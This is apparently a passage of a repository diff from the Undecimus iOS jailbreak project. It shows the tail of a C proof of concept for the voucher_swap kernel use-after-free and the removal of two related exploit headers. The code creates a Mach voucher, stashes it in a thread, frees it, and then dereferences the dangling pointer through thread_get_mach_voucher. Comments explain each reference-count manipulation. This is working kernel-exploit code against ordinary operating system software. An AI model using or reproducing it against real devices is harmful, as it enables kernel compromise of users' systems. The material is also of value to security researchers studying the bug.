assert(kr == KERN_SUCCESS);
// At this point we've successfully tweaked the voucher reference counts, but our port
// reference counts might be messed up because of the voucher port returned in
// inout_voucher! We need to deallocate it (it's extra anyways, since
// task_swap_mach_voucher() doesn't swallow the existing send rights).
if (MACH_PORT_VALID(inout_voucher)) {
kr = mach_port_deallocate(mach_task_self(), inout_voucher);
assert(kr == KERN_SUCCESS);
}
}
/*
* voucher_reference
*
* Description:
* Add a reference to the voucher represented by the voucher port.
*/
static void
voucher_reference(mach_port_t voucher) {
voucher_tweak_references(MACH_PORT_NULL, voucher);
}
/*
* voucher_release
*
* Description:
* Release a reference on the voucher represented by the voucher port.
*/
static void
voucher_release(mach_port_t voucher) {
voucher_tweak_references(voucher, MACH_PORT_NULL);
}
/*
* thread_stash_freed_voucher
*
* Description:
* Stash a pointer to a freed voucher object in the current thread's ith_voucher field. This
* voucher can be accessed later with thread_get_mach_voucher().
*/
static void
thread_stash_freed_voucher(mach_port_t thread_self) {
// Create a unique voucher. This voucher will have 1 voucher reference, 2 port references,
// and 1 port send right.
mach_port_t voucher = create_voucher(0);
// Stash a copy of the voucher in our thread. This will bump the voucher references to 2.
kern_return_t kr = thread_set_mach_voucher(thread_self, voucher);
assert(kr == KERN_SUCCESS);
// Now drop the voucher reference count to 1. The port reference count is still 2.
voucher_release(voucher);
// Next deallocate our send right to the voucher port. This drops the port send right
// count to 0 (although the port reference count is still 1), causing a no-senders
// notification to be triggered. The no-senders notification calls ipc_voucher_notify(),
// which releases the final voucher reference. In the process of freeing the voucher,
// ipc_port_dealloc_kernel() is called on the port, so the port is also freed.
kr = mach_port_deallocate(mach_task_self(), voucher);
assert(kr == KERN_SUCCESS);
// This leaves a dangling pointer to the voucher in thread_self->ith_voucher. We can access
// the freed voucher and voucher port with a call to thread_get_mach_voucher().
}
int
voucher_swap_poc() {
host = mach_host_self();
mach_port_t thread = mach_thread_self();
// Stash a pointer to a freed ipc_voucher_t in this thread's ith_voucher field.
thread_stash_freed_voucher(thread);
// The following call should trigger a panic.
mach_port_t voucher;
thread_get_mach_voucher(thread, 0, &voucher);
return 0;
}
-14
View File
@@ -1,14 +0,0 @@
//
// voucher_swap-poc.h
// Undecimus
//
// Created by Pwn20wnd on 2/4/19.
// Copyright © 2019 Pwn20wnd. All rights reserved.
//
#ifndef voucher_swap_poc_h
#define voucher_swap_poc_h
int voucher_swap_poc(void);
#endif /* voucher_swap_poc_h */
File diff suppressed because it is too large Load Diff
-16
View File
@@ -1,16 +0,0 @@
/*
* voucher_swap.h
* Brandon Azad
*/
#ifndef VOUCHER_SWAP__VOUCHER_SWAP_H_
#define VOUCHER_SWAP__VOUCHER_SWAP_H_
/*
* voucher_swap
*
* Description:
* Run the voucher_swap exploit.
*/
void voucher_swap(void);
#endif
+1 -1
View File
@@ -1 +1 @@
3.2.0
2.1.1
Binary file not shown.
Binary file not shown.

Some files were not shown because too many files have changed in this diff Show More